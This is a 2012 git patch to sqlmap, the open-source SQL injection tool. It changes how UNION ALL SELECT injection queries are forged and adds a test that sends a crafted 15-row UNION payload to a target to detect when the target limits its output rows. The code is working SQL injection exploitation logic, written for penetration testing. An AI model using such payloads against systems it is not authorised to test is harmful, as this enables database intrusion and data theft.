From cea5127ffd195f128f0441fb3f346de25f11e81f Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Thu, 6 Sep 2012 15:51:38 +0200
Subject: [PATCH] Update for an Issue #6

---
 lib/core/agent.py            | 18 ++++++++++--------
 lib/core/settings.py         |  3 +++
 lib/techniques/union/test.py | 17 +++++++++++++++++
 3 files changed, 30 insertions(+), 8 deletions(-)

diff --git a/lib/core/agent.py b/lib/core/agent.py
index 01907cd8f..a51093892 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -555,7 +555,7 @@ class Agent:
 
         return concatenatedQuery
 
-    def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False):
+    def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
         """
         Take in input an query (pseudo query) string and return its
         processed UNION ALL SELECT query.
@@ -586,6 +586,8 @@ class Agent:
         @rtype: C{str}
         """
 
+        fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
+
         if query.startswith("SELECT "):
             query = query[len("SELECT "):]
 
@@ -598,7 +600,7 @@ class Agent:
 
         if limited:
             inbandQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
-            inbandQuery += FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
+            inbandQuery += fromTable
             inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
 
             return inbandQuery
@@ -615,8 +617,8 @@ class Agent:
             intoRegExp = intoRegExp.group(1)
             query = query[:query.index(intoRegExp)]
 
-        if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and inbandQuery.endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
-            inbandQuery = inbandQuery[:-len(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])]
+        if fromTable and inbandQuery.endswith(fromTable):
+            inbandQuery = inbandQuery[:-len(fromTable)]
 
         for element in xrange(0, count):
             if element > 0:
@@ -635,9 +637,9 @@ class Agent:
             conditionIndex = query.index(" FROM ")
             inbandQuery += query[conditionIndex:]
 
-        if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
+        if fromTable:
             if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery:
-                inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
+                inbandQuery += fromTable
 
         if intoRegExp:
             inbandQuery += intoRegExp
@@ -654,8 +656,8 @@ class Agent:
                 else:
                     inbandQuery += char
 
-            if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
-                inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
+            if fromTable:
+                inbandQuery += fromTable
 
         inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
 
diff --git a/lib/core/settings.py b/lib/core/settings.py
index ca0f20b3e..6f0993f72 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -458,3 +458,6 @@ FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to conv
 
 # Regular expression used for extracting ASP.NET View State values
 VIEWSTATE_REGEX = r'(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<name>[^"]+)'
+
+# Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems)
+LIMITED_ROWS_TEST_NUMBER = 15
diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py
index 7f37f49e3..0f54dfe0a 100644
--- a/lib/techniques/union/test.py
+++ b/lib/techniques/union/test.py
@@ -28,6 +28,7 @@ from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import PAYLOAD
+from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
 from lib.core.settings import UNION_MIN_RESPONSE_CHARS
 from lib.core.settings import UNION_STDEV_COEFF
 from lib.core.settings import MIN_RATIO
@@ -205,6 +206,22 @@ def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYL
 
                 if not all(_ in content for _ in (phrase, phrase2)):
                     vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
+                elif not kb.unionDuplicates:
+                    fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
+
+                    # Check for limited row output
+                    query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
+                    payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
+
+                    # Perform the request
+                    page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
+                    content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
+                        removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
+                        payload, True) or "")
+                    if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
+                        warnMsg = "output with limited number of rows detected. Switching to partial mode"
+                        logger.warn(warnMsg)
+                        vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
 
             unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()